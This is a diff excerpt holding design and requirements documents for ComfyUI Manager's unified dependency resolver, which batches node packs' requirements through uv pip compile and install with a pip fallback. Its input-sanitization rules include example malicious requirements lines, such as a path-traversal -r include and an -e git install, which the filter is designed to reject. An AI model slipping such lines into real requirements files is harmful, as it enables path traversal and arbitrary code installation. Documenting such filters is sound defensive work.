cmd += ["--extra-index-url", url] # Original URL passed to actual command
```
---
## 4. Existing Code Integration
### 4.1 manager_core.py Modification Points
**2 `execute_install_script()` locations — both skip deps in unified mode:**
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
#### 4.1.2 Standalone Function execute_install_script()
**Both locations use the same pattern when unified mode is active:**
1. `lazy_mode=True` → schedule and return early (unchanged)
2. If `not no_deps and manager_util.use_unified_resolver`:
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
4. `install.py` execution: **always runs immediately** regardless of resolver mode
> **Parameter ordering differs:**
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
### 4.1.5 `execute_lazy_install_script()` Modification
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
```python
# In execute_lazy_install_script():
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
...
# install.py always runs regardless
```
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
### 4.1.6 CLI Integration
Multiple entry points expose the unified resolver in `cm_cli`:
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
On-demand batch resolution — independent of ComfyUI startup.
```bash
cm_cli uv-compile [--user-directory DIR]
```
Resolves all installed node packs' dependencies at once. Useful for environment
recovery or initial setup without starting ComfyUI.
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
```bash
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
```
When `--uv-compile` is set:
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
This differs from per-node pip install: instead of resolving each node pack's
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
#### 4.1.6.3 Additional `--uv-compile` Commands
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
| Command | Operation |
|---------|-----------|
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
> triggers batch resolution after all nodes are processed.
>
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
#### Shared Design Decisions
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
initialized at `cm_cli/__main__.py` module scope.
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
not startup gates.
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
handles resolver instantiation, execution, and result reporting.
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
calls `fix_broken()` in the snapshot restore exception handler (before
`_run_unified_resolve()` is reached), per dec_7.
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()``collect_node_pack_paths()`,
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
### 4.2 Configuration Addition (config.ini)
```ini
[default]
# Existing settings...
use_unified_resolver = false # Enable unified dependency resolution
```
### 4.3 Configuration Reading
Follows the existing `read_uv_mode()` / `use_uv` pattern:
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
### 4.4 manager_util.py Extension
```python
# manager_util.py
use_unified_resolver = False # New global flag (separate from use_uv)
```
---
## 5. Error Handling Strategy
```mermaid
flowchart TD
STARTUP["prestartup_script.py startup"]
STARTUP --> CHK{use_unified_resolver?}
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
CHK -->|Yes| RAI["run_unified_resolver()"]
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
STALE --> UV_CHK{uv installed?}
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
CR --> CR_DIS[".disabled/ path → auto-skip"]
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
CR --> CL["compile_lockfile()"]
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
CL --> CL_TMP["Temp directory → finally block cleanup"]
CL -->|Success| IL["install_from_lockfile()"]
IL --> IL_OK["Total success → parse installed/skipped"]
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
```
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
> (per-node pip install), providing the same behavior as if unified mode were disabled.
---
## 6. File Structure
### 6.1 New Files
```
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
tests/test_unified_dep_resolver.py # Unit tests
```
### 6.2 Modified Files
```
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
```
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
---
## 7. Dependencies
| Dependency | Purpose | Notes |
|-----------|---------|-------|
| `uv` | Dependency resolution and installation | Already included in project dependencies |
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
| `subprocess` | uv process execution | Standard library |
| `dataclasses` | Result data structures | Standard library |
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
| `time` | Stale temp file age calculation | Standard library |
| `logging` | Per-step logging | Standard library |
No additional external dependencies.
---
## 8. Sequence Diagram
### Install Time + Startup Batch Resolution
```mermaid
sequenceDiagram
actor User
participant MC as manager_core
participant PS as prestartup_script
participant UDR as UnifiedDepResolver
participant UV as uv (CLI)
Note over User,MC: Install Time (immediate)
User->>MC: Install node pack X
MC->>MC: Git clone / download X
MC->>MC: Skip per-node pip (unified mode)
MC->>MC: Run X's install.py
MC-->>User: Node pack installed (deps pending)
Note over User,UV: ComfyUI Restart
User->>PS: Start ComfyUI
PS->>PS: Check use_unified_resolver
PS->>UDR: Create resolver (module scope)
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
UDR->>UV: uv pip compile --output-file
UV-->>UDR: pinned reqs.txt
UDR->>UV: uv pip install -r
UV-->>UDR: Install result
UDR-->>PS: ResolveResult(success=True)
PS->>PS: PIPFixer.fix_broken()
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
PS-->>User: ComfyUI ready
```
---
## 9. Test Strategy
### 9.1 Unit Tests
| Test Target | Cases |
|------------|-------|
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
| Atomic model | On failure: installed=[], stderr populated |
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
| `_remap_package` | pip_overrides remapping, unregistered packages |
| Blacklist | torch family, torchsde, custom blacklist |
| Duplicate handling | Same package with multiple specs → all passed to uv |
| Multiple paths | Collection from multiple custom_nodes paths |
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
| Concurrency | Two resolver instances each use unique temp directories |
| Credential redaction | `user:pass@host` URL masked in log output |
| `_redact_url` | `://user:pass@host``://****@host` conversion, no-credential URL passthrough |
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
### 9.2 Integration Tests
- End-to-end test in real uv environment
- Existing pip fallback path test
- config.ini setting toggle test
- Environment integrity verification after PIPFixer call
- lazy_mode scheduling behavior verification (Windows simulation)
- `use_uv=False` + `use_unified_resolver=True` combination test
- Large-scale dependency (50+ node packs) performance test
---
## 10. Implementation Order
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
- Blacklist/override filtering
- **Downgrade blacklist** (version comparison logic included)
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
- **`.disabled` node pack filtering**
- Defensive cm_global access (getattr pattern)
2. **Phase 2**: `compile_lockfile` implementation + tests
- uv pip compile invocation
- --output-file, --constraint, --python options
- Conflict parsing logic
3. **Phase 3**: `install_from_lockfile` implementation + tests
- uv pip install -r invocation (NOT sync)
- Install result parsing
4. **Phase 4**: Integration — startup batch + install-time skip
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
- `manager_util.py`: `use_unified_resolver` flag
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
---
## Appendix A: Existing Code Reference
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
> Use `grep -n` or IDE symbol search for exact locations.
### remap_pip_package Location (Code Duplication Exists)
```
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
```
Both reference `cm_global.pip_overrides` with identical logic.
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
### cm_global Global State
```python
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
cm_global.pip_overrides = {} # dict, loaded from JSON
cm_global.pip_downgrade_blacklist = [ # list
'torch', 'torchaudio', 'torchsde', 'torchvision',
'transformers', 'safetensors', 'kornia'
]
```
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
> If the resolver may be called from the CLI path, this initialization should also be verified.
### PIPFixer Call Pattern
```python
# Within UnifiedManager.execute_install_script() method in manager_core.py:
pip_fixer = manager_util.PIPFixer(
manager_util.get_installed_packages(),
context.comfy_path,
context.manager_files_path
)
# ... (after installation)
pip_fixer.fix_broken()
```
The unified resolver does not call PIPFixer directly.
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
```python
# manager_core.py — def is_blacklisted(name)
# 1. Simple pip_blacklist membership check
# 2. pip_downgrade_blacklist version comparison:
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
# - match is None (no version spec) + installed → block
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
```
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
### Existing Code --index-url Handling (Asymmetric)
```python
# Only exists in standalone function execute_install_script():
if '--index-url' in package_name:
s = package_name.split('--index-url')
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
# UnifiedManager.execute_install_script() method does NOT have this handling
```
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
+363
View File
@@ -0,0 +1,363 @@
# PRD: Unified Dependency Resolver
## 1. Overview
### 1.1 Background
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
**Current flow:**
```mermaid
graph LR
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
B2 -.->|May break<br/>A's deps| A2
```
### 1.2 Goal
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
**New flow (unified resolver mode):**
```mermaid
graph TD
subgraph "Install Time (immediate)"
A1[User installs node pack X] --> A2[Git clone / download]
A2 --> A3["Run X's install.py (if exists)"]
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
end
subgraph "ComfyUI Restart (startup batch)"
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
B2 --> B3["uv pip compile → pinned requirements.txt"]
B3 --> B4["uv pip install -r → Batch install"]
B4 --> B5[PIPFixer environment correction]
end
```
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
### 1.3 Scope
- Develop a new dedicated dependency resolution module
- Opt-in activation from the existing install process
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
---
## 2. Constraints
| Item | Description |
|------|-------------|
| **uv required** | Only operates in environments where `uv` is available |
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
---
## 3. Functional Requirements
### FR-1: Node Pack List and Base Dependency Input
**Input:**
- Node pack list (fullpath list of installed + to-be-installed node packs)
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
**Behavior:**
- Validate each node pack path
- Exclude disabled (`.disabled`) node packs
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
- Defensively exclude any node pack paths that are within the `.disabled` directory
- Base dependencies are treated as constraints
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
**`cm_global` runtime dependencies:**
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
### FR-2: Dependency List Extraction
**Behavior:**
- Parse `requirements.txt` from each node pack directory
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
- Strip comments (`#`) and blank lines
- **Input sanitization** (see below)
- Separate handling of `--index-url` entries (see below)
**Input sanitization:**
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
- `-r`, `--requirement` (recursive include → path traversal risk)
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
- `-c`, `--constraint` (external constraint file injection)
- `--find-links`, `-f` (external package source specification)
- `@ file://` (local file reference → path traversal risk)
- Package names containing path separators (`/`, `\`)
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
- Rejected lines are recorded in the `skipped` list with reason
**`--index-url` handling:**
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
- The unified resolver **unifies both paths** for consistent handling:
- Package spec → added to the general dependency list
- `--extra-index-url URL` → passed as `uv pip compile` argument
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
**Duplicate handling strategy:**
- No deduplication is performed directly
- Different version specs of the same package are **all passed as-is** to uv
- `uv pip compile` handles version resolution (uv determines the optimal version)
**Output:**
- Unified dependency list (tracked by source node pack)
- Additional index URL list
### FR-3: uv pip compile Execution
**Behavior:**
- Generate temporary requirements file from the collected dependency list
- Execute `uv pip compile` to produce a pinned requirements.txt
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
- `--constraint`: Pass base dependencies as constraints
- `--python`: Current Python interpreter path
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
- Resolve for the current platform (platform-specific results)
**Error handling:**
- Return conflict package report when resolution fails
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
**Output:**
- pinned requirements.txt (file with all packages pinned to exact versions)
### FR-4: Pinned Requirements-based Dependency Installation
**Behavior:**
- Execute `uv pip install -r <pinned-requirements.txt>`
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
- Already-installed packages at the same version are skipped (default uv behavior)
- Log installation results
**Error handling:**
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
- On total failure: Parse stderr for failure cause report → fallback to existing pip
- **No partial failure report** (not possible due to uv's behavior)
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
### FR-5: Post-install Environment Correction
**Behavior:**
- Call `PIPFixer.fix_broken()` for environment integrity correction
- Restore torch version (when change detected)
- Fix OpenCV conflicts
- Restore comfyui-frontend-package
- Restore packages based on `pip_auto_fix.list`
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
### FR-6: install.py Execution (Existing Flow Maintained)
**Behavior:**
- The unified resolver handles deps installation **at startup time only**
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
**Control flow specification (unified mode active):**
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
- `install.py` execution runs **immediately** as before
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
**Control flow specification (unified mode inactive / fallback):**
- Existing pip install loop runs as-is (no change)
- `install.py` execution runs **immediately** as before
### FR-7: Startup Batch Resolution
**Behavior:**
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
**Startup execution flow (in `prestartup_script.py`):**
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
**`execute_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
- `install.py` execution still runs immediately
**`execute_lazy_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
- `install.py` execution still runs
**Windows-specific behavior:**
- Windows lazy install path also benefits from startup batch resolution
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
---
## 4. Non-functional Requirements
| Item | Requirement |
|------|-------------|
| **Performance** | Equal to or faster than existing individual installs |
| **Stability** | Must not break the existing environment |
| **Logging** | Log progress and results at each step (details below) |
| **Error recovery** | Fallback to existing pip method on failure |
| **Testing** | Unit test coverage above 80% |
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
### Logging Requirements
| Step | Log Level | Content |
|------|-----------|---------|
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
| `--index-url` detection | `INFO` | Detected additional index URL list |
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
| uv compile success | `INFO` | Pinned package count, elapsed time |
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
| Install start | `INFO` | Number of packages to install |
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
| Install failure | `WARNING` | Failed package list, fallback transition notice |
| Fallback transition | `WARNING` | Transition reason, original error message |
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
---
## 5. Usage Scenarios
### Scenario 1: Single Node Pack Installation (unified mode)
```
User requests installation of node pack X
→ Git clone / download node pack X
→ Run X's install.py (if exists) — immediately
→ Skip per-node pip install (deps deferred)
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
→ uv pip compile resolves fully compatible versions
→ uv pip install -r for batch installation
→ PIPFixer environment correction
```
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
```
User requests installation of node packs X, Y, Z
→ Each node pack: git clone + install.py — immediately
→ Per-node pip install skipped for all
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
→ Single uv pip compile → single uv pip install -r
→ PIPFixer environment correction
```
### Scenario 3: Dependency Resolution Failure (Edge Case)
```
Even pre-validated lists may fail due to uv version differences or platform issues
→ uv pip compile failure → return conflict report
→ Display conflict details to user
→ Auto-execute existing pip fallback
```
### Scenario 4: uv Not Installed
```
uv unavailable detected → auto-fallback to existing pip method
→ Display uv installation recommendation to user
```
### Scenario 5: Windows Lazy Installation (unified mode)
```
Node pack installation requested on Windows
→ Node pack install deferred to startup (existing lazy mechanism)
→ On next ComfyUI startup: unified resolver runs first (batch deps)
→ execute_lazy_install_script() skips per-node pip (already resolved)
→ install.py still runs per node pack
```
### Scenario 6: Malicious/Non-standard requirements.txt
```
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
→ Sanitization filter rejects the line
→ Log rejection reason and continue processing remaining valid packages
→ Notify user of rejected item count
```
### Scenario 7: Concurrent Install Requests (unified mode)
```
User requests installation of node packs A and B nearly simultaneously from UI
→ Each request: git clone + install.py immediately, deps skipped
→ On restart: single unified resolver run handles both A and B deps together
→ No concurrency issue (single batch at startup)
```
---
## 6. Success Metrics
| Metric | Target |
|--------|--------|
| Dependency conflict reduction | 90%+ reduction compared to current |
| Install success rate | 99%+ (for compatibility-verified lists) |
| Performance | Equal to or better than existing individual installs |
| Adoption rate | 50%+ of eligible users |
---
## 7. Future Extensions
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
- Lockfile caching: Reuse for identical node pack configurations
- Pre-install dependency conflict validation API: Check compatibility before installation
- Dependency tree visualization: Display dependency relationships to users
- `uv lock`-based cross-platform lockfile support (TOML format)
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
- `pip_install()` integration: Route UI direct installs through unified resolver
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
---
## Appendix A: Existing Code Install Path Mapping
> This section is reference material to clarify the unified resolver's scope of application.
| Install Path | Location | v1 Applied | Notes |
|-------------|----------|------------|-------|
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
